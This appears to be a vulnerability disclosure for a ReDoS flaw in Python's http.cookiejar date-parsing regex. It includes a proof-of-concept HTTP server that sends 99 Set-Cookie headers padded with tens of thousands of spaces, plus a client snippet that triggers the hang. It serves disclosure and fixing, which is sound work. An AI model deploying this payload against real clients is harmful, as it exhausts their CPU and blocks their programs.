The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
\d+-\w+-\d+(\s*\s*\s*)$
Therefore, a long sequence of spaces can trigger bad performance.
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65506 # Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): # Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/")
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):